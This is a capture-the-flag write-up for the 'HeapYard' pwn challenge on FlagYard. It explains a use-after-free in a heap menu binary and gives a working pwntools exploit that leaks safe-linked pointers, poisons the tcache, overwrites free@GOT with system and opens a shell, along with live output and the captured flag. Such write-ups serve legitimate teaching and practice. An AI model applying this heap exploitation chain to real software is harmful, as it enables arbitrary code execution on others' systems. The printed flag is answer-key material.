Back to writeups
FlagYardpwnMediumsolved

HeapYard

12 Jul 2026 · by 0xIDA

Solvers

HeapYard

Author: 0xIDA
Platform: FlagYard · Category: pwn · Difficulty: Medium

Solvers

Summary

Note-style heap menu (malloc 0x10 × 4 slots) with UAF: free does not null the pointer. Tcache poison (glibc 2.39 safe-linking) allocates over the global ptr[] array, hijacks slots to free@GOT, leaks libc, overwrites free with system, then free("/bin/sh").

Challenge Description

you need to write everywhere

Handout: heap_yard (No PIE, Partial RELRO, Canary, NX) + libc.so.6 (Ubuntu GLIBC 2.39).

Reconnaissance

checksec: Partial RELRO | Canary | NX | No PIE
menu: alloc / write 0x10 / read 0x10 / free
global ptr[4] @ 0x4040a0
malloc size fixed 0x10 (tcache 0x20)
index bounds 0..3
free(ptr[i]) without ptr[i]=NULL  → UAF + dangling slots
alloc requires ptr[i]==NULL → only 4 mallocs total; re-alloc uses remaining free indices

Vulnerability Analysis

  1. UAF: after free, read/write still work on the dangling pointer.
  2. Safe-linking leak: free two 0x20 chunks; read encrypted fd and recover chunk addresses by brute-forcing the page offset so (c1>>12)^c0 == fd1.
  3. Tcache poison: overwrite top free chunk's fd with PROTECT(c1, 0x4040a0) so the next allocations return the real chunk then the ptr[] array.
  4. Why not free@GOT directly? tcache_get clears e->key at e+8, which would zero puts@GOT and crash the menu. Targeting ptr@0x4040a0 only zeros ptr[1], which we control next.
  5. Write ptr[0]=ptr[1]=free@GOT, read to leak libc, write system+restored puts, write /bin/sh into a heap chunk, free → shell.

Exploitation

#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
libc = ELF("./libc.so.6", checksec=False)
elf = ELF("./heap_yard", checksec=False)

def protect(pos, ptr):
    return (pos >> 12) ^ ptr

# p = remote("tcp.flagyard.com", PORT)
# helpers: alloc/write/read_c/free as in solve.py

alloc(0); alloc(1)
free(0); free(1)
fd1 = u64(read_c(1)[:8]); fd0 = u64(read_c(0)[:8])
for lo in range(0x1000):
    c0 = (fd0 << 12) + lo
    if (c0 >> 12) == fd0 and ((c0 + 0x20) >> 12) ^ c0 == fd1:
        c1 = c0 + 0x20
        break

write(1, p64(protect(c1, 0x4040A0)) + p64(0))
alloc(2); alloc(3)  # 3 → ptr[]
write(3, p64(elf.got["free"]) * 2)
libc.address = u64(read_c(0)[:8]) - libc.sym.free
write(0, p64(libc.sym.system) + p64(libc.sym.puts))
write(2, b"/bin/sh\x00".ljust(16, b"\x00"))
free(2)
# shell

Live output:

[*] free=0x7f71b54add20
[*] libc=0x7f71b5400000 system=0x7f71b5458740
PWNED
FlagY{e3b65e7395f1d81eced6c8a4dbd0a898}

Flag

FlagY{e3b65e7395f1d81eced6c8a4dbd0a898}

Live-verified via shell on tcp.flagyard.com and accepted by Flagyard submit.

Key Takeaways

  • Free-without-null is enough for full tcache poison even with only four slots if two indices stay free for the reallocs.
  • On glibc ≥2.32, recover safe-linked heap pointers by reconciling two fd values with a 12-bit page-offset brute force.
  • tcache_get zeroing key at chunk+8 is a GOT-smash footgun — prefer hijacking a writable pointer table (ptr[]) instead of landing directly on free@GOT.
  • Partial RELRO + No PIE → classic free@GOTsystem.

Tools Used

  • pwntools, patchelf/ld-linux for local 2.39 libc
  • Flagyard MCP (start/stop/submit)
  • checksec, r2

Files

  • Exploit: /root/flagyard/heapyard/solve.py
  • Binary/libc: /root/flagyard/heapyard/